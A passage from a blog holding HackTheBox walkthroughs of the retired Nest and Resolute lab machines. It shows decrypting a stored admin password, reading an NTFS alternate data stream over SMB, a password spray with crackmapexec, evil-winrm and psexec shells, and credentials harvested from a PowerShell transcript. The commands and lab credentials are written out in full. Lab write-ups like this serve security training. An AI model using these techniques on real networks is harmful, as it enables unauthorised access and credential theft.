<span class="w"> </span><span class="n">saltValueBytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Encoding</span><span class="p">.</span><span class="n">ASCII</span><span class="p">.</span><span class="n">GetBytes</span><span class="p">(</span><span class="n">saltValue</span><span class="p">)</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">cipherTextBytes</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">Byte</span><span class="p">()</span>
<span class="w"> </span><span class="n">cipherTextBytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Convert</span><span class="p">.</span><span class="n">FromBase64String</span><span class="p">(</span><span class="n">cipherText</span><span class="p">)</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="k">New</span><span class="w"> </span><span class="n">Rfc2898DeriveBytes</span><span class="p">(</span><span class="n">passPhrase</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="n">saltValueBytes</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="n">passwordIterations</span><span class="p">)</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">keyBytes</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">Byte</span><span class="p">()</span>
<span class="w"> </span><span class="n">keyBytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">password</span><span class="p">.</span><span class="n">GetBytes</span><span class="p">(</span><span class="k">CInt</span><span class="p">(</span><span class="n">keySize</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mi">8</span><span class="p">))</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">symmetricKey</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="k">New</span><span class="w"> </span><span class="n">AesCryptoServiceProvider</span>
<span class="w"> </span><span class="n">symmetricKey</span><span class="p">.</span><span class="n">Mode</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">CipherMode</span><span class="p">.</span><span class="n">CBC</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">decryptor</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="n">ICryptoTransform</span>
<span class="w"> </span><span class="n">decryptor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">symmetricKey</span><span class="p">.</span><span class="n">CreateDecryptor</span><span class="p">(</span><span class="n">keyBytes</span><span class="p">,</span><span class="w"> </span><span class="n">initVectorBytes</span><span class="p">)</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">memoryStream</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="n">IO</span><span class="p">.</span><span class="n">MemoryStream</span>
<span class="w"> </span><span class="n">memoryStream</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">New</span><span class="w"> </span><span class="n">IO</span><span class="p">.</span><span class="n">MemoryStream</span><span class="p">(</span><span class="n">cipherTextBytes</span><span class="p">)</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">cryptoStream</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="n">CryptoStream</span>
<span class="w"> </span><span class="n">cryptoStream</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">New</span><span class="w"> </span><span class="n">CryptoStream</span><span class="p">(</span><span class="n">memoryStream</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="n">decryptor</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="n">CryptoStreamMode</span><span class="p">.</span><span class="n">Read</span><span class="p">)</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">plainTextBytes</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">Byte</span><span class="p">()</span>
<span class="w"> </span><span class="k">ReDim</span><span class="w"> </span><span class="n">plainTextBytes</span><span class="p">(</span><span class="n">cipherTextBytes</span><span class="p">.</span><span class="n">Length</span><span class="p">)</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">decryptedByteCount</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">Integer</span>
<span class="w"> </span><span class="n">decryptedByteCount</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">cryptoStream</span><span class="p">.</span><span class="n">Read</span><span class="p">(</span><span class="n">plainTextBytes</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="n">plainTextBytes</span><span class="p">.</span><span class="n">Length</span><span class="p">)</span>
<span class="w"> </span><span class="n">memoryStream</span><span class="p">.</span><span class="n">Close</span><span class="p">()</span>
<span class="w"> </span><span class="n">cryptoStream</span><span class="p">.</span><span class="n">Close</span><span class="p">()</span>
<span class="w"> </span><span class="k">Dim</span><span class="w"> </span><span class="n">plainText</span><span class="w"> </span><span class="ow">As</span><span class="w"> </span><span class="kt">String</span>
<span class="w"> </span><span class="n">plainText</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Encoding</span><span class="p">.</span><span class="n">ASCII</span><span class="p">.</span><span class="n">GetString</span><span class="p">(</span><span class="n">plainTextBytes</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span>_
<span class="w"> </span><span class="n">decryptedByteCount</span><span class="p">)</span>
<span class="w"> </span><span class="k">Return</span><span class="w"> </span><span class="n">plainText</span>
<span class="w"> </span><span class="k">End</span><span class="w"> </span><span class="k">Function</span>
<span class="k">End</span><span class="w"> </span><span class="k">Module</span>
</code></pre></div>
<p><img alt="Running in debug mode" class="image-process-article-image" src="/media/2020.06/derivatives/article-image/nest_03.png"/></p>
<p>We get the c.smith password: xRxRxPANCAK3SxRxRx. We can now connect to the
"Users" share using c.smith account. We got the user.txt file.</p>
<div class="highlight"><pre><span></span><code># smbclient //10.10.10.178/Users -U "c.smith"%"xRxRxPANCAK3SxRxRx"
Try "help" to get a list of possible commands.
smb: \> cd C.Smith\
smb: \C.Smith\> mget user.txt
Get file user.txt? y
getting file \C.Smith\user.txt of size 32 as user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
</code></pre></div>
<h1>Getting root</h1>
<p>We enumerate more and found some configuration about the HQK service (the one on
port 4386). There is also a file "Debug Mode Password.txt".
The file can be copied on disk but is empty.</p>
<div class="highlight"><pre><span></span><code>smb: \C.Smith\> cd "HQK Reporting\"
smb: \C.Smith\HQK Reporting\> dir
. D 0 Thu Aug 8 19:06:17 2019
.. D 0 Thu Aug 8 19:06:17 2019
AD Integration Module D 0 Fri Aug 9 08:18:42 2019
Debug Mode Password.txt A 0 Thu Aug 8 19:08:17 2019
HQK_Config_Backup.xml A 249 Thu Aug 8 19:09:05 2019
10485247 blocks of size 4096. 6449598 blocks available
</code></pre></div>
<h2>Alternate data streams</h2>
<p>The file seems to be empty because its author used the <a href="https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/">NTFS alternate data
streams</a>.</p>
<p>It is possible to get the information about the <a href="https://superuser.com/questions/1520250/read-alternate-data-streams-over-smb-with-linux">alternate data steams for a file
using smbclient</a>.</p>
<p>We require the informations about the file in C.Smith folder and we download the
file using the alternate data stream.</p>
<div class="highlight"><pre><span></span><code>root@kalili:~# smbclient //10.10.10.178/Users -U "c.smith"%"xRxRxPANCAK3SxRxRx" -c 'allinfo "C.Smith\HQK Reporting\Debug Mode Password.txt"'
altname: DEBUGM~1.TXT
create_time: Thu Aug 8 07:06:12 PM 2019 EDT
access_time: Thu Aug 8 07:06:12 PM 2019 EDT
write_time: Thu Aug 8 07:08:17 PM 2019 EDT
change_time: Thu Aug 8 07:08:17 PM 2019 EDT
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes
root@kalili:~# smbclient //10.10.10.178/Users -U "c.smith"%"xRxRxPANCAK3SxRxRx" -c 'get "C.Smith\HQK Reporting\Debug Mode Password.txt:Password:$DATA"
> '
getting file \C.Smith\HQK Reporting\Debug Mode Password.txt:Password:$DATA of size 15 as C.Smith\HQK Reporting\Debug Mode Password.txt:Password:$DATA (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
</code></pre></div>
<p>The file is not empty anymore and contain the password for the DEBUG mode of the HQK service.</p>
<div class="highlight"><pre><span></span><code>root@kalili:~# cat C.Smith\\HQK\ Reporting\\Debug\ Mode\ Password.txt\:Password\:\$DATA
WBQ201953D8w
</code></pre></div>
<h2>HqkLdap.exe</h2>
<p>We enumerate the folder more and we found a HqkLdap.exe binary. We download it
on our system.</p>
<div class="highlight"><pre><span></span><code>smb: \C.Smith\HQK Reporting\> cd "AD Integration Module
smb: \C.Smith\HQK Reporting\AD Integration Module\> dir
. D 0 Fri Aug 9 08:18:42 2019
.. D 0 Fri Aug 9 08:18:42 2019
HqkLdap.exe A 17408 Wed Aug 7 19:41:16 2019
10485247 blocks of size 4096. 6449664 blocks available
smb: \C.Smith\HQK Reporting\AD Integration Module\> mget HqkLdap.exe
Get file HqkLdap.exe? y
getting file \C.Smith\HQK Reporting\AD Integration Module\HqkLdap.exe of size 17408 as HqkLdap.exe (9.9 KiloBytes/sec) (average 9.9 KiloBytes/sec)
</code></pre></div>
<h2>DEBUG HQK Reporting Service</h2>
<p>We connect to the service and start the debug mode.</p>
<div class="highlight"><pre><span></span><code>root@kalili:~# telnet 10.10.10.178 4386
Trying 10.10.10.178...
Connected to 10.10.10.178.
Escape character is '^]'.
HQK Reporting Service V1.2
>DEBUG WBQ201953D8w
Debug mode enabled. Use the HELP command to view additional commands that are now available
</code></pre></div>
<p>We list the command to see what's new. The new commands are:
* SERVICE
* SESSION
* SHOWQUERY</p>
<p>We run them, session and service just show use informations about our session
and the service.</p>
<div class="highlight"><pre><span></span><code>>help
This service allows users to run queries against databases using the legacy HQK format
--- AVAILABLE COMMANDS ---
LIST
SETDIR <directory_name>
RUNQUERY <query_id>
DEBUG <password>
HELP <command/>
SERVICE
SESSION
SHOWQUERY <query_id>
>session
--- Session Information ---
Session ID: cb4c294e-1f27-4e1c-90e8-86d22367701e
Debug: True
Started At: 1/27/2020 4:33:48 PM
Server Endpoint: 10.10.10.178:4386
Client Endpoint: 10.10.14.30:36462
Current Query Directory: C:\Program Files\HQK\ALL QUERIES
>service
--- HQK REPORTING SERVER INFO ---
Version: 1.2.0.0
Server Hostname: HTB-NEST
Server Process: "C:\Program Files\HQK\HqkSvc.exe"
Server Running As: Service_HQK
Initial Query Directory: C:\Program Files\HQK\ALL QUERIES
</query_id></password></query_id></directory_name></code></pre></div>
<p>We go to the <code>C:\Program Files\HQK\</code> directory.</p>
<div class="highlight"><pre><span></span><code>>list
Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command
QUERY FILES IN CURRENT DIRECTORY
[DIR] ALL QUERIES
[DIR] LDAP
[DIR] Logs
[1] HqkSvc.exe
[2] HqkSvc.InstallState
[3] HQK_Config.xml
</code></pre></div>
<p>The Showquery function allow use to read the files in the current directory.
The file HQK_Config.xml contain our debugging password and the port of the
service.</p>
<div class="highlight"><pre><span></span><code>>showquery 3
<?xml version="1.0"?>
<servicesettings xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<port>4386</port>
<debugpassword>WBQ201953D8w</debugpassword>
<querydirectory>C:\Program Files\HQK\ALL QUERIES</querydirectory>
</servicesettings>
</code></pre></div>
<p>We go to the LDAP directory. We found the exe we already got and a configuration
file. This file contain the Administrator encoded password.</p>
<div class="highlight"><pre><span></span><code>>setdir ldap
Current directory set to ldap
>list
Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command
QUERY FILES IN CURRENT DIRECTORY
[1] HqkLdap.exe
[2] Ldap.conf
Current Directory: ldap
>showquery 2
Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=
</code></pre></div>
<h2>"Reversing" HqkLdap.exe</h2>
<p>We download the latest release of <a href="https://github.com/0xd4d/dnSpy">dnSpy</a> and
load the binary. We quickly find some encryption and decryption functions. They
are similar to the ones in the Utils.vb but use different parameters
(passphrase, salt, number of password iteration, initialisation vector and key
size).</p>
<p><a href="/media/2020.06/nest_01.png">dnSpy</a></p>
<p>We change the values in our previous module in MS Visual Basic 2010 Express and
rerun the code. The only changed line is the following:</p>
<p><code>Console.WriteLine(Decrypt("yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=", "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256))</code></p>
<p>This give us the administrator password: XtH4nkS4Pl4y1nGX.</p>
<p>We connect to the "C$" share as administrator and are able to get the root flag.</p>
<div class="highlight"><pre><span></span><code># smbclient //10.10.10.178/C$ -U "Administrator"%"XtH4nkS4Pl4y1nGX"
Try "help" to get a list of possible commads.
smb: \> cd Users\Administrator\
smb: \Users\Administrator\> cd Desktop\
smb: \Users\Administrator\Desktop\> ls
. DR 0 Sun Jan 26 02:20:50 2020
.. DR 0 Sun Jan 26 02:20:50 2020
desktop.ini AHS 282 Sat Jan 25 17:02:44 2020
root.txt A 32 Mon Aug 5 18:27:26 2019
10485247 blocks of size 4096. 6449582 blocks available
smb: \Users\Administrator\Desktop\> mget root.txt
Get file root.txt? y
getting file \Users\Administrator\Desktop\root.txt of size 32 as root.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)n
</code></pre></div>
<p>We can also use psexec to directly execute commands on the system as
administrator.</p>
<div class="highlight"><pre><span></span><code>python psexec.py administrator:XtH4nkS4Pl4y1nGX@10.10.10.178
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation
[*] Requesting shares on 10.10.10.178.....
[*] Found writable share ADMIN$
[*] Uploading file xHADOhNA.exe
[*] Opening SVCManager on 10.10.10.178.....
[*] Creating service OtZQ on 10.10.10.178.....
[*] Starting service OtZQ.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd ../..
C:\>cd Users\Administrator\Desktop
C:\Users\Administrator\Desktop>type root.txt
6594c2eb084bc0f08a42f0b94b878c41
</code></pre></div>
<h1>Wrapping up</h1>
<p>This box was interesting but a bit ctfish. I learn a few things about NTFS
alternate data stream and how to get them from a GNU/Linux box.</p>HTB: Resolute2020-05-31T10:45:00+02:002020-05-31T10:45:00+02:00maggicktag:maggick.fr,2020-05-31:/2020/05/htb-resolute.html<p><img alt="Resolute Card" class="align-left" src="/media/2020.05/resolute_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/220">Resolute</a>.
This box was created by
<a href="https://www.hackthebox.com/home/users/profile/1190">egre55</a> and publish on
December the 7th 2019. The box is rated as a medium box. It implies a lot of
enumeration and really interesting privilege escalation in Windows environment
using DLL injection.</p>
<p><img alt="Resolute Card" class="align-left" src="/media/2020.05/resolute_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/220">Resolute</a>.
This box was created by
<a href="https://www.hackthebox.com/home/users/profile/1190">egre55</a> and publish on
December the 7th 2019. The box is rated as a medium box. It implies a lot of
enumeration and really interesting privilege escalation in Windows environment
using DLL injection.</p>
<h1>User</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan. As this is again (like with forest) a
domain contronler a few ports are open. So much ports are open that a full
TCPscan will take more than a day.</p>
<div class="highlight"><pre><span></span><code>nmap -p- -sS 10.10.10.169 -oA nmap
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-10 09:49 EST
Stats: 0:10:36 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 11.50% done; ETC: 11:22 (1:21:43 remaining)
</code></pre></div>
<p>Therefore we launch a basic nmap scan on the top 10 000 ports, 14 of them are
open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Fri Dec 13 03:00:17 2019 as: nmap -sS -oA nmap --top-ports 10000 10.10.10.169
Nmap scan report for megabank.local (10.10.10.169)
Host is up (0.34s latency).
Not shown: 8306 closed ports
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
# Nmap done at Fri Dec 13 03:07:34 2019 -- 1 IP address (1 host up) scanned in 437.35 seconds
</code></pre></div>
<p>We run a version scan on this open ports. The ports 138 and 445 (SMB) are open
as well as port 5985 and 47001 for winRM.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Fri Dec 13 03:10:58 2019 as: nmap -sSV -oA service -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001 10.10.10.169
Nmap scan report for megabank.local (10.10.10.169)
Host is up (0.70s latency).
PORT STATE SERVICE VERSION
53/tcp closed domain
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2019-12-13 08:19:12Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Dec 13 03:11:28 2019 -- 1 IP address (1 host up) scanned in 30.41 seconds
</code></pre></div>
<p>We enumerate the box using
<a href="https://github.com/portcullislabs/enum4linux">enum4linux</a> we got a list of
account and a description with a password in it <code>Welcome123!</code>.</p>
<div class="highlight"><pre><span></span><code>perl enum4linux.pl 10.10.10.169
<snip>
=============================
| Users on 10.10.10.169 |
=============================
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 866.
index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail Name: (null) Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/domain
index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela Name: (null) Desc: (null)
index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette Name: (null) Desc: (null)
index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika Name: (null) Desc: (null)
index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire Name: (null) Desc: (null)
index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claude Name: (null) Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null) Desc: A user account managed by the system.
index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia Name: (null) Desc: (null)
index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred Name: (null) Desc: (null)
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo Name: (null) Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus Name: (null) Desc: (null)
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123!
index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie Name: (null) Desc: (null)
index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki Name: (null) Desc: (null)
index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo Name: (null) Desc: (null)
index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per Name: (null) Desc: (null)
index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan Name: Ryan Bertrand Desc: (null)
index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally Name: (null) Desc: (null)
index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon Name: (null) Desc: (null)
index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve Name: (null) Desc: (null)
index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie Name: (null) Desc: (null)
index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita Name: (null) Desc: (null)
index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf Name: (null) Desc: (null)
index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach Name: (null) Desc: (null)
</snip></code></pre></div>
<p>The creds doesn't work and doesn't allow to access the SMB share. We put all
users in a file <code>users.txt</code> and then we use
<a href="https://github.com/byt3bl33d3r/CrackMapExec">crackmapexec</a> to spray the
password against all accounts. The <code>melanie</code> account is using the password!</p>
<div class="highlight"><pre><span></span><code>crackmapexec smb 10.10.10.169 -u users.txt -p 'Welcome123!'
CME 10.10.10.169:445 RESOLUTE [*] Windows 10.0 Build 14393 (name:RESOLUTE) (domain:MEGABANK)
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\Administrator:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\Guest:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\krbtgt:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\DefaultAccount:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\ryan:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\marko:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\sunita:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\abigail:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\marcus:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\sally:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\fred:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\angela:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\felicia:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\gustavo:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\ulf:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\stevie:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\claire:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\paulo:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\steve:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\annette:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\annika:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\per:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\claude:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [+] MEGABANK\melanie:Welcome123!
</code></pre></div>
<p>We can then enumerate the shares but nothing interesting.</p>
<div class="highlight"><pre><span></span><code>crackmapexec smb 10.10.10.169 -u melanie -p 'Welcome123!' --shares
CME 10.10.10.169:445 RESOLUTE [*] Windows 10.0 Build 14393 (name:RESOLUTE) (domain:MEGABANK)
CME 10.10.10.169:445 RESOLUTE [+] MEGABANK\melanie:Welcome123!
CME 10.10.10.169:445 RESOLUTE [+] Enumerating shares
CME 10.10.10.169:445 RESOLUTE SHARE Permissions
CME 10.10.10.169:445 RESOLUTE ----- -----------
CME 10.10.10.169:445 RESOLUTE NETLOGON READ
CME 10.10.10.169:445 RESOLUTE SYSVOL READ
CME 10.10.10.169:445 RESOLUTE ADMIN$ NO ACCESS
CME 10.10.10.169:445 RESOLUTE IPC$ READ
CME 10.10.10.169:445 RESOLUTE C$ NO ACCESS
</code></pre></div>
<p>We can then use <a href="https://github.com/Hackplayers/evil-winrm">evil-winrm</a> to
connect using Winrm. This let us get the user flag in <code>melanie</code> home folder.</p>
<div class="highlight"><pre><span></span><code>ruby evil-winrm.rb -u melanie -p 'Welcome123!' -i 10.10.10.169
Evil-WinRM shell v1.8
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\melanie\Documents> type ..\Desktop\user.txt
0c3be45fcfe249796ccbee8d3a978540
</code></pre></div>
<h1>Second user</h1>
<p>We start enumerating the box. We can even run a
<a href="https://github.com/fox-it/BloodHound.py">Bloodhound</a> at it.</p>
<p><img alt="Melanie's groups" class="image-process-article-image" src="/media/2020.05/derivatives/article-image/resolute_01.png"/></p>
<p>Nothing really interesting except when looking thoroughly at the content of the <code>C:\</code> folder.
We found a <code>PSTranscripts</code> folder. A
<a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.host/start-transcript">PSTranscript</a>
is simply a transcript of a powershell session.</p>
<div class="highlight"><pre><span></span><code>*Evil-WinRM* PS C:\> dir -force
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hs- 12/3/2019 6:40 AM $RECYCLE.BIN
d--hsl 9/25/2019 10:17 AM Documents and Settings
d----- 9/25/2019 6:19 AM PerfLogs
d-r--- 9/25/2019 12:39 PM Program Files
d----- 11/20/2016 6:36 PM Program Files (x86)
d--h-- 9/25/2019 10:48 AM ProgramData
d--h-- 12/3/2019 6:32 AM PSTranscripts
d--hs- 9/25/2019 10:17 AM Recovery
d--hs- 9/25/2019 6:25 AM System Volume Information
d-r--- 12/4/2019 2:46 AM Users
d----- 12/4/2019 5:15 AM Windows
-arhs- 11/20/2016 5:59 PM 389408 bootmgr
-a-hs- 7/16/2016 6:10 AM 1 BOOTNXT
-a-hs- 12/11/2019 8:48 AM 402653184 pagefile.sys
</code></pre></div>
<p>We go through the folder until finding the transcript text file. Then we display
it. Inside we see a few commands and then a backup command using the <code>ryan</code> user
and its password <code>Serv3r4Admin4cc123!</code></p>
<div class="highlight"><pre><span></span><code>*Evil-WinRM* PS C:\> dir -force PSTranscripts\
Directory: C:\PSTranscripts
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--h-- 12/3/2019 6:45 AM 20191203
*Evil-WinRM* PS C:\> dir -force PSTranscripts\20191203\
Directory: C:\PSTranscripts\20191203
Mode LastWriteTime Length Name
---- ------------- ------ ----
-arh-- 12/3/2019 6:45 AM 3732 PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
*Evil-WinRM* PS C:\> type PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
**********************
Windows PowerShell transcript start
Start time: 20191203063201
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
Command start time: 20191203063455
**********************
PS>TerminatingError(): "System error."
>> CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')
if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"
>> CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="Stream"; value="True"
**********************
Command start time: 20191203063455
**********************
PS>ParameterBinding(Out-String): name="InputObject"; value="PS megabank\ryan@RESOLUTE Documents> "
PS megabank\ryan@RESOLUTE Documents>
**********************
Command start time: 20191203063515
**********************
PS>CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
<snip>
</snip></code></pre></div>
<p>We can then login with the ryan user still using
